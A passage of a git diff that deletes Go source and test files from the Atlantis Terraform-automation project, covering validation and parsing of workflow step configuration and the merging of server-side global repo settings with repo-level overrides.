Validate() error { - validStep := func(value interface{}) error { - str := *value.(*string) - if str != InitStepName && str != PlanStepName && str != ApplyStepName && str != EnvStepName { - return fmt.Errorf("%q is not a valid step type, maybe you omitted the 'run' key", str) - } - return nil - } - - extraArgs := func(value interface{}) error { - elem := value.(map[string]map[string][]string) - var keys []string - for k := range elem { - keys = append(keys, k) - } - // Sort so tests can be deterministic. - sort.Strings(keys) - - if len(keys) > 1 { - return fmt.Errorf("step element can only contain a single key, found %d: %s", - len(keys), strings.Join(keys, ",")) - } - for stepName, args := range elem { - if stepName != InitStepName && stepName != PlanStepName && stepName != ApplyStepName { - return fmt.Errorf("%q is not a valid step type", stepName) - } - var argKeys []string - for k := range args { - argKeys = append(argKeys, k) - } - // Sort so tests can be deterministic. - sort.Strings(argKeys) - - // args should contain a single 'extra_args' key. - if len(argKeys) > 1 { - return fmt.Errorf("built-in steps only support a single %s key, found %d: %s", - ExtraArgsKey, len(argKeys), strings.Join(argKeys, ",")) - } - for k := range args { - if k != ExtraArgsKey { - return fmt.Errorf("built-in steps only support a single %s key, found %q in step %s", ExtraArgsKey, k, stepName) - } - } - } - return nil - } - - envStep := func(value interface{}) error { - elem := value.(map[string]map[string]string) - var keys []string - for k := range elem { - keys = append(keys, k) - } - // Sort so tests can be deterministic. - sort.Strings(keys) - - if len(keys) > 1 { - return fmt.Errorf("step element can only contain a single key, found %d: %s", - len(keys), strings.Join(keys, ",")) - } - for stepName, args := range elem { - if stepName != EnvStepName { - return fmt.Errorf("%q is not a valid step type", stepName) - } - var argKeys []string - for k := range args { - argKeys = append(argKeys, k) - } - // Sort so tests can be deterministic. - sort.Strings(argKeys) - - foundNameKey := false - for _, k := range argKeys { - if k != NameArgKey && k != CommandArgKey && k != ValueArgKey { - return fmt.Errorf("env steps only support keys %q, %q and %q, found key %q", NameArgKey, ValueArgKey, CommandArgKey, k) - } - if k == NameArgKey { - foundNameKey = true - } - } - if !foundNameKey { - return fmt.Errorf("env steps must have a %q key set", NameArgKey) - } - // If we have 3 keys at this point then they've set both command and value. - if len(argKeys) != 2 { - return fmt.Errorf("env steps only support one of the %q or %q keys, found both", - ValueArgKey, CommandArgKey) - } - } - return nil - } - - runStep := func(value interface{}) error { - elem := value.(map[string]string) - var keys []string - for k := range elem { - keys = append(keys, k) - } - // Sort so tests can be deterministic. - sort.Strings(keys) - - if len(keys) > 1 { - return fmt.Errorf("step element can only contain a single key, found %d: %s", - len(keys), strings.Join(keys, ",")) - } - for stepName := range elem { - if stepName != RunStepName { - return fmt.Errorf("%q is not a valid step type", stepName) - } - } - return nil - } - - if s.Key != nil { - return validation.Validate(s.Key, validation.By(validStep)) - } - if len(s.Map) > 0 { - return validation.Validate(s.Map, validation.By(extraArgs)) - } - if len(s.Env) > 0 { - return validation.Validate(s.Env, validation.By(envStep)) - } - if len(s.StringVal) > 0 { - return validation.Validate(s.StringVal, validation.By(runStep)) - } - return errors.New("step element is empty") -} - -func (s Step) ToValid() valid.Step { - // This will trigger in case #1 (see Step docs). - if s.Key != nil { - return valid.Step{ - StepName: *s.Key, - } - } - - // This will trigger in case #2 (see Step docs). - if len(s.Env) > 0 { - // After validation we assume there's only one key and it's a valid - // step name so we just use the first one. - for stepName, stepArgs := range s.Env { - return valid.Step{ - StepName: stepName, - EnvVarName: stepArgs[NameArgKey], - RunCommand: stepArgs[CommandArgKey], - EnvVarValue: stepArgs[ValueArgKey], - } - } - } - - // This will trigger in case #3 (see Step docs). - if len(s.Map) > 0 { - // After validation we assume there's only one key and it's a valid - // step name so we just use the first one. - for stepName, stepArgs := range s.Map { - return valid.Step{ - StepName: stepName, - ExtraArgs: stepArgs[ExtraArgsKey], - } - } - } - - // This will trigger in case #4 (see Step docs). - if len(s.StringVal) > 0 { - // After validation we assume there's only one key and it's a valid - // step name so we just use the first one. - for _, v := range s.StringVal { - return valid.Step{ - StepName: RunStepName, - RunCommand: v, - } - } - } - - panic("step was not valid. This is a bug!") -} - -// unmarshalGeneric is used by UnmarshalJSON and UnmarshalYAML to unmarshal -// a step into one of its three forms. We need to implement a custom unmarshal -// function because steps can either be: -// 1. a built-in step: " - init" -// 2. a built-in step with extra_args: " - init: {extra_args: [arg1] }" -// 3. a custom run step: " - run: my custom command" -// It takes a parameter unmarshal that is a function that tries to unmarshal -// the current element into a given object. -func (s *Step) unmarshalGeneric(unmarshal func(interface{}) error) error { - - // First try to unmarshal as a single string, ex. - // steps: - // - init - // - plan - // We validate if it's a legal string later. - var singleString string - err := unmarshal(&singleString) - if err == nil { - s.Key = &singleString - return nil - } - - // This represents a step with extra_args, ex: - // init: - // extra_args: [a, b] - // We validate if there's a single key in the map and if the value is a - // legal value later. - var step map[string]map[string][]string - err = unmarshal(&step) - if err == nil { - s.Map = step - return nil - } - - // This represents an env step, ex: - // env: - // name: k - // value: hi //optional - // command: exec - var envStep map[string]map[string]string - err = unmarshal(&envStep) - if err == nil { - s.Env = envStep - return nil - } - - // Try to unmarshal as a custom run step, ex. - // steps: - // - run: my command - // We validate if the key is run later. - var runStep map[string]string - err = unmarshal(&runStep) - if err == nil { - s.StringVal = runStep - return nil - } - - return err -} - -func (s Step) marshalGeneric() (interface{}, error) { - if len(s.StringVal) != 0 { - return s.StringVal, nil - } else if len(s.Map) != 0 { - return s.Map, nil - } else if len(s.Env) != 0 { - return s.Env, nil - } else if s.Key != nil { - return s.Key, nil - } - - // empty step should be marshalled to null, although this is generally - // unexpected behavior. - return nil, nil -} diff --git a/server/events/yaml/raw/step_test.go b/server/events/yaml/raw/step_test.go deleted file mode 100644 index 37f2e73afe..0000000000 --- a/server/events/yaml/raw/step_test.go +++ /dev/null @@ -1,524 +0,0 @@ -package raw_test - -import ( - "testing" - - "github.com/runatlantis/atlantis/server/events/yaml/raw" - "github.com/runatlantis/atlantis/server/events/yaml/valid" - . "github.com/runatlantis/atlantis/testing" - yaml "gopkg.in/yaml.v2" -) - -func TestStepConfig_YAMLMarshalling(t *testing.T) { - cases := []struct { - description string - input string - exp raw.Step - expErr string - }{ - - // Single string. - { - description: "single string", - input: `astring`, - exp: raw.Step{ - Key: String("astring"), - }, - }, - - // MapType i.e. extra_args style. - { - description: "extra_args style", - input: ` -key: - mapValue: [arg1, arg2]`, - exp: raw.Step{ - Map: MapType{ - "key": { - "mapValue": {"arg1", "arg2"}, - }, - }, - }, - }, - { - description: "extra_args style multiple keys", - input: ` -key: - mapValue: [arg1, arg2] - value2: []`, - exp: raw.Step{ - Map: MapType{ - "key": { - "mapValue": {"arg1", "arg2"}, - "value2": {}, - }, - }, - }, - }, - { - description: "extra_args style multiple top-level keys", - input: ` -key: - val1: [] -key2: - val2: []`, - exp: raw.Step{ - Map: MapType{ - "key": { - "val1": {}, - }, - "key2": { - "val2": {}, - }, - }, - }, - }, - // Env steps - { - description: "env step value", - input: ` -env: - value: direct_value - name: test`, - exp: raw.Step{ - Env: EnvType{ - "env": { - "value": "direct_value", - "name": "test", - }, - }, - }, - }, - { - description: "env step command", - input: ` -env: - command: echo 123 - name: test`, - exp: raw.Step{ - Env: EnvType{ - "env": { - "command": "echo 123", - "name": "test", - }, - }, - }, - }, - - // Run-step style - { - description: "run step", - input: ` -run: my command`, - exp: raw.Step{ - StringVal: map[string]string{ - "run": "my command", - }, - }, - }, - { - description: "run step multiple top-level keys", - input: ` -run: my command -key: value`, - exp: raw.Step{ - StringVal: map[string]string{ - "run": "my command", - "key": "value", - }, - }, - }, - - // Empty - { - description: "empty", - input: "", - exp: raw.Step{ - Key: nil, - Map: nil, - StringVal: nil, - Env: nil, - }, - }, - - // Errors - { - description: "extra args style no slice strings", - input: ` -key: - value: - another: map`, - expErr: "yaml: unmarshal errors:\n line 3: cannot unmarshal !!map into string", - }, - } - - for _, c := range cases { - t.Run(c.description, func(t *testing.T) { - var got raw.Step - err := yaml.UnmarshalStrict([]byte(c.input), &got) - if c.expErr != "" { - ErrEquals(t, c.expErr, err) - return - } - Ok(t, err) - Equals(t, c.exp, got) - - _, err = yaml.Marshal(got) - Ok(t, err) - - var got2 raw.Step - err = yaml.UnmarshalStrict([]byte(c.input), &got2) - Ok(t, err) - Equals(t, got2, got) - }) - } -} - -func TestStep_Validate(t *testing.T) { - cases := []struct { - description string - input raw.Step - expErr string - }{ - // Valid inputs. - { - description: "init step", - input: raw.Step{ - Key: String("init"), - }, - expErr: "", - }, - { - description: "plan step", - input: raw.Step{ - Key: String("plan"), - }, - expErr: "", - }, - { - description: "apply step", - input: raw.Step{ - Key: String("apply"), - }, - expErr: "", - }, - { - description: "init extra_args", - input: raw.Step{ - Map: MapType{ - "init": { - "extra_args": []string{"arg1", "arg2"}, - }, - }, - }, - expErr: "", - }, - { - description: "plan extra_args", - input: raw.Step{ - Map: MapType{ - "plan": { - "extra_args": []string{"arg1", "arg2"}, - }, - }, - }, - expErr: "", - }, - { - description: "env", - input: raw.Step{ - Env: EnvType{ - "env": { - "name": "test", - "command": "echo 123", - }, - }, - }, - expErr: "", - }, - { - description: "apply extra_args", - input: raw.Step{ - Map: MapType{ - "apply": { - "extra_args": []string{"arg1", "arg2"}, - }, - }, - }, - expErr: "", - }, - { - description: "run step", - input: raw.Step{ - StringVal: map[string]string{ - "run": "my command", - }, - }, - expErr: "", - }, - - // Invalid inputs. - { - description: "empty elem", - input: raw.Step{}, - expErr: "step element is empty", - }, - { - description: "invalid step name", - input: raw.Step{ - Key: String("invalid"), - }, - expErr: "\"invalid\" is not a valid step type, maybe you omitted the 'run' key", - }, - { - description: "multiple keys in map", - input: raw.Step{ - Map: MapType{ - "key1": nil, - "key2": nil, - }, - }, - expErr: "step element can only contain a single key, found 2: key1,key2", - }, - { - description: "multiple keys in env", - input: raw.Step{ - Env: EnvType{ - "key1": nil, - "key2": nil, - }, - }, - expErr: "step element can only contain a single key, found 2: key1,key2", - }, - { - description: "multiple keys in string val", - input: raw.Step{ - StringVal: map[string]string{ - "key1": "", - "key2": "", - }, - }, - expErr: "step element can only contain a single key, found 2: key1,key2", - }, - { - description: "invalid key in map", - input: raw.Step{ - Map: MapType{ - "invalid": nil, - }, - }, - expErr: "\"invalid\" is not a valid step type", - }, - { - description: "invalid key in env", - input: raw.Step{ - Env: EnvType{ - "invalid": nil, - }, - }, - expErr: "\"invalid\" is not a valid step type", - }, - { - description: "invalid key in string val", - input: raw.Step{ - StringVal: map[string]string{ - "invalid": "", - }, - }, - expErr: "\"invalid\" is not a valid step type", - }, - { - description: "non extra_arg key", - input: raw.Step{ - Map: MapType{ - "init": { - "invalid": nil, - }, - }, - }, - expErr: "built-in steps only support a single extra_args key, found \"invalid\" in step init", - }, - { - description: "non extra_arg key", - input: raw.Step{ - Map: MapType{ - "init": { - "invalid": nil, - "zzzzzzz": nil, - }, - }, - }, - expErr: "built-in steps only support a single extra_args key, found 2: invalid,zzzzzzz", - }, - { - description: "env step with no name key set", - input: raw.Step{ - Env: EnvType{ - "env": { - "value": "value", - }, - }, - }, - expErr: "env steps must have a \"name\" key set", - }, - { - description: "env step with invalid key", - input: raw.Step{ - Env: EnvType{ - "env": { - "abc": "", - "invalid2": "", - }, - }, - }, - expErr: "env steps only support keys \"name\", \"value\" and \"command\", found key \"abc\"", - }, - { - description: "env step with both command and value set", - input: raw.Step{ - Env: EnvType{ - "env": { - "name": "name", - "command": "command", - "value": "value", - }, - }, - }, - expErr: "env steps only support one of the \"value\" or \"command\" keys, found both", - }, - { - // For atlantis.yaml v2, this wouldn't parse, but now there should - // be no error. - description: "unparseable shell command", - input: raw.Step{ - StringVal: map[string]string{ - "run": "my 'c", - }, - }, - }, - } - for _, c := range cases { - t.Run(c.description, func(t *testing.T) { - err := c.input.Validate() - if c.expErr == "" { - Ok(t, err) - return - } - ErrEquals(t, c.expErr, err) - }) - } -} - -func TestStep_ToValid(t *testing.T) { - cases := []struct { - description string - input raw.Step - exp valid.Step - }{ - { - description: "init step", - input: raw.Step{ - Key: String("init"), - }, - exp: valid.Step{ - StepName: "init", - }, - }, - { - description: "plan step", - input: raw.Step{ - Key: String("plan"), - }, - exp: valid.Step{ - StepName: "plan", - }, - }, - { - description: "apply step", - input: raw.Step{ - Key: String("apply"), - }, - exp: valid.Step{ - StepName: "apply", - }, - }, - { - description: "env step", - input: raw.Step{ - Env: EnvType{ - "env": { - "name": "test", - "command": "echo 123", - }, - }, - }, - exp: valid.Step{ - StepName: "env", - RunCommand: "echo 123", - EnvVarName: "test", - }, - }, - { - description: "init extra_args", - input: raw.Step{ - Map: MapType{ - "init": { - "extra_args": []string{"arg1", "arg2"}, - }, - }, - }, - exp: valid.Step{ - StepName: "init", - ExtraArgs: []string{"arg1", "arg2"}, - }, - }, - { - description: "plan extra_args", - input: raw.Step{ - Map: MapType{ - "plan": { - "extra_args": []string{"arg1", "arg2"}, - }, - }, - }, - exp: valid.Step{ - StepName: "plan", - ExtraArgs: []string{"arg1", "arg2"}, - }, - }, - { - description: "apply extra_args", - input: raw.Step{ - Map: MapType{ - "apply": { - "extra_args": []string{"arg1", "arg2"}, - }, - }, - }, - exp: valid.Step{ - StepName: "apply", - ExtraArgs: []string{"arg1", "arg2"}, - }, - }, - { - description: "run step", - input: raw.Step{ - StringVal: map[string]string{ - "run": "my 'run command'", - }, - }, - exp: valid.Step{ - StepName: "run", - RunCommand: "my 'run command'", - }, - }, - } - for _, c := range cases { - t.Run(c.description, func(t *testing.T) { - Equals(t, c.exp, c.input.ToValid()) - }) - } -} - -type MapType map[string]map[string][]string -type EnvType map[string]map[string]string diff --git a/server/events/yaml/raw/workflow.go b/server/events/yaml/raw/workflow.go deleted file mode 100644 index 399ece21a8..0000000000 --- a/server/events/yaml/raw/workflow.go +++ /dev/null @@ -1,35 +0,0 @@ -package raw - -import ( - validation "github.com/go-ozzo/ozzo-validation" - "github.com/runatlantis/atlantis/server/events/yaml/valid" -) - -type Workflow struct { - Apply *Stage `yaml:"apply,omitempty" json:"apply,omitempty"` - Plan *Stage `yaml:"plan,omitempty" json:"plan,omitempty"` -} - -func (w Workflow) Validate() error { - return validation.ValidateStruct(&w, - validation.Field(&w.Apply), - validation.Field(&w.Plan), - ) -} - -func (w Workflow) ToValid(name string) valid.Workflow { - v := valid.Workflow{ - Name: name, - } - if w.Apply == nil || w.Apply.Steps == nil { - v.Apply = valid.DefaultApplyStage - } else { - v.Apply = w.Apply.ToValid() - } - if w.Plan == nil || w.Plan.Steps == nil { - v.Plan = valid.DefaultPlanStage - } else { - v.Plan = w.Plan.ToValid() - } - return v -} diff --git a/server/events/yaml/raw/workflow_test.go b/server/events/yaml/raw/workflow_test.go deleted file mode 100644 index b0b3369dc6..0000000000 --- a/server/events/yaml/raw/workflow_test.go +++ /dev/null @@ -1,169 +0,0 @@ -package raw_test - -import ( - "testing" - - validation "github.com/go-ozzo/ozzo-validation" - "github.com/runatlantis/atlantis/server/events/yaml/raw" - "github.com/runatlantis/atlantis/server/events/yaml/valid" - . "github.com/runatlantis/atlantis/testing" - yaml "gopkg.in/yaml.v2" -) - -func TestWorkflow_UnmarshalYAML(t *testing.T) { - cases := []struct { - description string - input string - exp raw.Workflow - expErr string - }{ - { - description: "empty", - input: ``, - exp: raw.Workflow{ - Apply: nil, - Plan: nil, - }, - }, - { - description: "yaml null", - input: `~`, - exp: raw.Workflow{ - Apply: nil, - Plan: nil, - }, - }, - { - description: "only plan/apply set", - input: ` -plan: -apply: -`, - exp: raw.Workflow{ - Apply: nil, - Plan: nil, - }, - }, - { - description: "steps set to null", - input: ` -plan: - steps: ~ -apply: - steps: ~`, - exp: raw.Workflow{ - Plan: &raw.Stage{ - Steps: nil, - }, - Apply: &raw.Stage{ - Steps: nil, - }, - }, - }, - { - description: "steps set to empty slice", - input: ` -plan: - steps: [] -apply: - steps: []`, - exp: raw.Workflow{ - Plan: &raw.Stage{ - Steps: []raw.Step{}, - }, - Apply: &raw.Stage{ - Steps: []raw.Step{}, - }, - }, - }, - } - - for _, c := range cases { - t.Run(c.description, func(t *testing.T) { - var w raw.Workflow - err := yaml.UnmarshalStrict([]byte(c.input), &w) - if c.expErr != "" { - ErrEquals(t, c.expErr, err) - return - } - Ok(t, err) - Equals(t, c.exp, w) - }) - } -} - -func TestWorkflow_Validate(t *testing.T) { - // Should call the validate of Stage. - w := raw.Workflow{ - Apply: &raw.Stage{ - Steps: []raw.Step{ - { - Key: String("invalid"), - }, - }, - }, - } - validation.ErrorTag = "yaml" - ErrEquals(t, "apply: (steps: (0: \"invalid\" is not a valid step type, maybe you omitted the 'run' key.).).", w.Validate()) - - // Unset keys should validate. - Ok(t, (raw.Workflow{}).Validate()) -} - -func TestWorkflow_ToValid(t *testing.T) { - cases := []struct { - description string - input raw.Workflow - exp valid.Workflow - }{ - { - description: "nothing set", - input: raw.Workflow{}, - exp: valid.Workflow{ - Apply: valid.DefaultApplyStage, - Plan: valid.DefaultPlanStage, - }, - }, - { - description: "fields set", - input: raw.Workflow{ - Apply: &raw.Stage{ - Steps: []raw.Step{ - { - Key: String("init"), - }, - }, - }, - Plan: &raw.Stage{ - Steps: []raw.Step{ - { - Key: String("init"), - }, - }, - }, - }, - exp: valid.Workflow{ - Apply: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "init", - }, - }, - }, - Plan: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "init", - }, - }, - }, - }, - }, - } - for _, c := range cases { - t.Run(c.description, func(t *testing.T) { - c.exp.Name = "name" - Equals(t, c.exp, c.input.ToValid("name")) - }) - } -} diff --git a/server/events/yaml/valid/global_cfg.go b/server/events/yaml/valid/global_cfg.go deleted file mode 100644 index df21d96262..0000000000 --- a/server/events/yaml/valid/global_cfg.go +++ /dev/null @@ -1,322 +0,0 @@ -package valid - -import ( - "fmt" - "regexp" - "strings" - - version "github.com/hashicorp/go-version" - "github.com/runatlantis/atlantis/server/logging" -) - -const MergeableApplyReq = "mergeable" -const ApprovedApplyReq = "approved" -const ApplyRequirementsKey = "apply_requirements" -const WorkflowKey = "workflow" -const AllowedOverridesKey = "allowed_overrides" -const AllowCustomWorkflowsKey = "allow_custom_workflows" -const DefaultWorkflowName = "default" - -// GlobalCfg is the final parsed version of server-side repo config. -type GlobalCfg struct { - Repos []Repo - Workflows map[string]Workflow -} - -// Repo is the final parsed version of server-side repo config. -type Repo struct { - // ID is the exact match id of this config. - // If IDRegex is set then this will be empty. - ID string - // IDRegex is the regex match for this config. - // If ID is set then this will be nil. - IDRegex *regexp.Regexp - ApplyRequirements []string - Workflow *Workflow - AllowedOverrides []string - AllowCustomWorkflows *bool -} - -type MergedProjectCfg struct { - ApplyRequirements []string - Workflow Workflow - RepoRelDir string - Workspace string - Name string - AutoplanEnabled bool - TerraformVersion *version.Version - RepoCfgVersion int -} - -// DefaultApplyStage is the Atlantis default apply stage. -var DefaultApplyStage = Stage{ - Steps: []Step{ - { - StepName: "apply", - }, - }, -} - -// DefaultPlanStage is the Atlantis default plan stage. -var DefaultPlanStage = Stage{ - Steps: []Step{ - { - StepName: "init", - }, - { - StepName: "plan", - }, - }, -} - -// NewGlobalCfg returns a global config that respects the parameters. -// allowRepoCfg is true if users want to allow repos full config functionality. -// mergeableReq is true if users want to set the mergeable apply requirement -// for all repos. -// approvedReq is true if users want to set the approved apply requirement -// for all repos. -func NewGlobalCfg(allowRepoCfg bool, mergeableReq bool, approvedReq bool) GlobalCfg { - defaultWorkflow := Workflow{ - Name: DefaultWorkflowName, - Apply: DefaultApplyStage, - Plan: DefaultPlanStage, - } - // Must construct slices here instead of using a `var` declaration because - // we treat nil slices differently. - applyReqs := []string{} - allowedOverrides := []string{} - if mergeableReq { - applyReqs = append(applyReqs, MergeableApplyReq) - } - if approvedReq { - applyReqs = append(applyReqs, ApprovedApplyReq) - } - - allowCustomWorkflows := false - if allowRepoCfg { - allowedOverrides = []string{ApplyRequirementsKey, WorkflowKey} - allowCustomWorkflows = true - } - - return GlobalCfg{ - Repos: []Repo{ - { - IDRegex: regexp.MustCompile(".*"), - ApplyRequirements: applyReqs, - Workflow: &defaultWorkflow, - AllowedOverrides: allowedOverrides, - AllowCustomWorkflows: &allowCustomWorkflows, - }, - }, - Workflows: map[string]Workflow{ - DefaultWorkflowName: defaultWorkflow, - }, - } -} - -// IDMatches returns true if the repo ID otherID matches this config. -func (r Repo) IDMatches(otherID string) bool { - if r.ID != "" { - return r.ID == otherID - } - return r.IDRegex.MatchString(otherID) -} - -// IDString returns a string representation of this config. -func (r Repo) IDString() string { - if r.ID != "" { - return r.ID - } - return "/" + r.IDRegex.String() + "/" -} - -// MergeProjectCfg merges proj and rCfg with the global config to return a -// final config. It assumes that all configs have been validated. -func (g GlobalCfg) MergeProjectCfg(log logging.SimpleLogging, repoID string, proj Project, rCfg RepoCfg) MergedProjectCfg { - applyReqs, workflow, allowedOverrides, allowCustomWorkflows := g.getMatchingCfg(log, repoID) - - // If repos are allowed to override certain keys then override them. - for _, key := range allowedOverrides { - switch key { - case ApplyRequirementsKey: - if proj.ApplyRequirements != nil { - log.Debug("overriding server-defined %s with repo settings: [%s]", ApplyRequirementsKey, strings.Join(proj.ApplyRequirements, ",")) - applyReqs = proj.ApplyRequirements - } - case WorkflowKey: - if proj.WorkflowName != nil { - // We iterate over the global workflows first and the repo - // workflows second so that repo workflows override. This is - // safe because at this point we know if a repo is allowed to - // define its own workflow. We also know that a workflow will - // exist with this name due to earlier validation. - name := *proj.WorkflowName - for k, v := range g.Workflows { - if k == name { - workflow = v - } - } - if allowCustomWorkflows { - for k, v := range rCfg.Workflows { - if k == name { - workflow = v - } - } - } - log.Debug("overriding server-defined %s with repo-specified workflow: %q", WorkflowKey, workflow.Name) - } - } - } - - log.Debug("final settings: %s: [%s], %s: %s", - ApplyRequirementsKey, strings.Join(applyReqs, ","), WorkflowKey, workflow.Name) - - return MergedProjectCfg{ - ApplyRequirements: applyReqs, - Workflow: workflow, - RepoRelDir: proj.Dir, - Workspace: proj.Workspace, - Name: proj.GetName(), - AutoplanEnabled: proj.Autoplan.Enabled, - TerraformVersion: proj.TerraformVersion, - RepoCfgVersion: rCfg.Version, - } -} - -// DefaultProjCfg returns the default project config for all projects under the -// repo with id repoID. It is used when there is no repo config. -func (g GlobalCfg) DefaultProjCfg(log logging.SimpleLogging, repoID string, repoRelDir string, workspace string) MergedProjectCfg { - log.Debug("building config based on server-side config") - applyReqs, workflow, _, _ := g.getMatchingCfg(log, repoID) - return MergedProjectCfg{ - ApplyRequirements: applyReqs, - Workflow: workflow, - RepoRelDir: repoRelDir, - Workspace: workspace, - Name: "", - AutoplanEnabled: DefaultAutoPlanEnabled, - TerraformVersion: nil, - } -} - -// ValidateRepoCfg validates that rCfg for repo with id repoID is valid based -// on our global config. -func (g GlobalCfg) ValidateRepoCfg(rCfg RepoCfg, repoID string) error { - sliceContainsF := func(slc []string, str string) bool { - for _, s := range slc { - if s == str { - return true - } - } - return false - } - mapContainsF := func(m map[string]Workflow, key string) bool { - for k := range m { - if k == key { - return true - } - } - return false - } - - // Check allowed overrides. - var allowedOverrides []string - for _, repo := range g.Repos { - if repo.IDMatches(repoID) { - if repo.AllowedOverrides != nil { - allowedOverrides = repo.AllowedOverrides - } - } - } - for _, p := range rCfg.Projects { - if p.WorkflowName != nil && !sliceContainsF(allowedOverrides, WorkflowKey) { - return fmt.Errorf("repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", WorkflowKey, AllowedOverridesKey, WorkflowKey) - } - if p.ApplyRequirements != nil && !sliceContainsF(allowedOverrides, ApplyRequirementsKey) { - return fmt.Errorf("repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", ApplyRequirementsKey, AllowedOverridesKey, ApplyRequirementsKey) - } - } - - // Check custom workflows. - var allowCustomWorkflows bool - for _, repo := range g.Repos { - if repo.IDMatches(repoID) { - if repo.AllowCustomWorkflows != nil { - allowCustomWorkflows = *repo.AllowCustomWorkflows - } - } - } - - if len(rCfg.Workflows) > 0 && !allowCustomWorkflows { - return fmt.Errorf("repo config not allowed to define custom workflows: server-side config needs '%s: true'", AllowCustomWorkflowsKey) - } - - // Check if the repo has set a workflow name that doesn't exist. - for _, p := range rCfg.Projects { - if p.WorkflowName != nil { - name := *p.WorkflowName - if !mapContainsF(rCfg.Workflows, name) && !mapContainsF(g.Workflows, name) { - return fmt.Errorf("workflow %q is not defined anywhere", name) - } - } - } - - return nil -} - -// getMatchingCfg returns the key settings for repoID. -func (g GlobalCfg) getMatchingCfg(log logging.SimpleLogging, repoID string) (applyReqs []string, workflow Workflow, allowedOverrides []string, allowCustomWorkflows bool) { - toLog := make(map[string]string) - traceF := func(repoIdx int, repoID string, key string, val interface{}) string { - from := "default server config" - if repoIdx > 0 { - from = fmt.Sprintf("repos[%d], id: %s", repoIdx, repoID) - } - var valStr string - switch v := val.(type) { - case string: - valStr = fmt.Sprintf("%q", v) - case []string: - valStr = fmt.Sprintf("[%s]", strings.Join(v, ",")) - case bool: - valStr = fmt.Sprintf("%t", v) - default: - valStr = "this is a bug" - } - - return fmt.Sprintf("setting %s: %s from %s", key, valStr, from) - } - - for _, key := range []string{ApplyRequirementsKey, WorkflowKey, AllowedOverridesKey, AllowCustomWorkflowsKey} { - for i, repo := range g.Repos { - if repo.IDMatches(repoID) { - switch key { - case ApplyRequirementsKey: - if repo.ApplyRequirements != nil { - toLog[ApplyRequirementsKey] = traceF(i, repo.IDString(), ApplyRequirementsKey, repo.ApplyRequirements) - applyReqs = repo.ApplyRequirements - } - case WorkflowKey: - if repo.Workflow != nil { - toLog[WorkflowKey] = traceF(i, repo.IDString(), WorkflowKey, repo.Workflow.Name) - workflow = *repo.Workflow - } - case AllowedOverridesKey: - if repo.AllowedOverrides != nil { - toLog[AllowedOverridesKey] = traceF(i, repo.IDString(), AllowedOverridesKey, repo.AllowedOverrides) - allowedOverrides = repo.AllowedOverrides - } - case AllowCustomWorkflowsKey: - if repo.AllowCustomWorkflows != nil { - toLog[AllowCustomWorkflowsKey] = traceF(i, repo.IDString(), AllowCustomWorkflowsKey, *repo.AllowCustomWorkflows) - allowCustomWorkflows = *repo.AllowCustomWorkflows - } - } - } - } - } - for _, l := range toLog { - log.Debug(l) - } - return -} diff --git a/server/events/yaml/valid/global_cfg_test.go b/server/events/yaml/valid/global_cfg_test.go deleted file mode 100644 index e8a08b3dee..0000000000 --- a/server/events/yaml/valid/global_cfg_test.go +++ /dev/null @@ -1,424 +0,0 @@ -package valid_test - -import ( - "fmt" - "io/ioutil" - "path/filepath" - "regexp" - "testing" - - "github.com/mohae/deepcopy" - "github.com/runatlantis/atlantis/server/events/yaml" - "github.com/runatlantis/atlantis/server/events/yaml/valid" - "github.com/runatlantis/atlantis/server/logging" - . "github.com/runatlantis/atlantis/testing" -) - -func TestNewGlobalCfg(t *testing.T) { - expDefaultWorkflow := valid.Workflow{ - Name: "default", - Apply: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "apply", - }, - }, - }, - Plan: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "init", - }, - { - StepName: "plan", - }, - }, - }, - } - baseCfg := valid.GlobalCfg{ - Repos: []valid.Repo{ - { - IDRegex: regexp.MustCompile(".*"), - ApplyRequirements: []string{}, - Workflow: &expDefaultWorkflow, - AllowedOverrides: []string{}, - AllowCustomWorkflows: Bool(false), - }, - }, - Workflows: map[string]valid.Workflow{ - "default": expDefaultWorkflow, - }, - } - - cases := []struct { - allowRepoCfg bool - approvedReq bool - mergeableReq bool - }{ - { - allowRepoCfg: false, - approvedReq: false, - mergeableReq: false, - }, - { - allowRepoCfg: true, - approvedReq: false, - mergeableReq: false, - }, - { - allowRepoCfg: false, - approvedReq: true, - mergeableReq: false, - }, - { - allowRepoCfg: false, - approvedReq: false, - mergeableReq: true, - }, - { - allowRepoCfg: false, - approvedReq: true, - mergeableReq: true, - }, - { - allowRepoCfg: true, - approvedReq: true, - mergeableReq: true, - }, - } - - for _, c := range cases { - caseName := fmt.Sprintf("allow_repo: %t, approved: %t, mergeable: %t", - c.allowRepoCfg, c.approvedReq, c.mergeableReq) - t.Run(caseName, func(t *testing.T) { - act := valid.NewGlobalCfg(c.allowRepoCfg, c.mergeableReq, c.approvedReq) - - // For each test, we change our expected cfg based on the parameters. - exp := deepcopy.Copy(baseCfg).(valid.GlobalCfg) - exp.Repos[0].IDRegex = regexp.MustCompile(".*") // deepcopy doesn't copy the regex. - - if c.allowRepoCfg { - exp.Repos[0].AllowCustomWorkflows = Bool(true) - exp.Repos[0].AllowedOverrides = []string{"apply_requirements", "workflow"} - } - if c.mergeableReq { - exp.Repos[0].ApplyRequirements = append(exp.Repos[0].ApplyRequirements, "mergeable") - } - if c.approvedReq { - exp.Repos[0].ApplyRequirements = append(exp.Repos[0].ApplyRequirements, "approved") - } - Equals(t, exp, act) - - // Have to hand-compare regexes because Equals doesn't do it. - for i, actRepo := range act.Repos { - expRepo := exp.Repos[i] - if expRepo.IDRegex != nil { - Assert(t, expRepo.IDRegex.String() == actRepo.IDRegex.String(), - "%q != %q for repos[%d]", expRepo.IDRegex.String(), actRepo.IDRegex.String(), i) - } - } - }) - } -} - -func TestGlobalCfg_ValidateRepoCfg(t *testing.T) { - cases := map[string]struct { - gCfg valid.GlobalCfg - rCfg valid.RepoCfg - repoID string - expErr string - }{ - "workflow not allowed": { - gCfg: valid.NewGlobalCfg(false, false, false), - rCfg: valid.RepoCfg{ - Projects: []valid.Project{ - { - WorkflowName: String("invalid"), - }, - }, - }, - repoID: "github.com/owner/repo", - expErr: "repo config not allowed to set 'workflow' key: server-side config needs 'allowed_overrides: [workflow]'", - }, - "custom workflows not allowed": { - gCfg: valid.NewGlobalCfg(false, false, false), - rCfg: valid.RepoCfg{ - Workflows: map[string]valid.Workflow{ - "custom": {}, - }, - }, - repoID: "github.com/owner/repo", - expErr: "repo 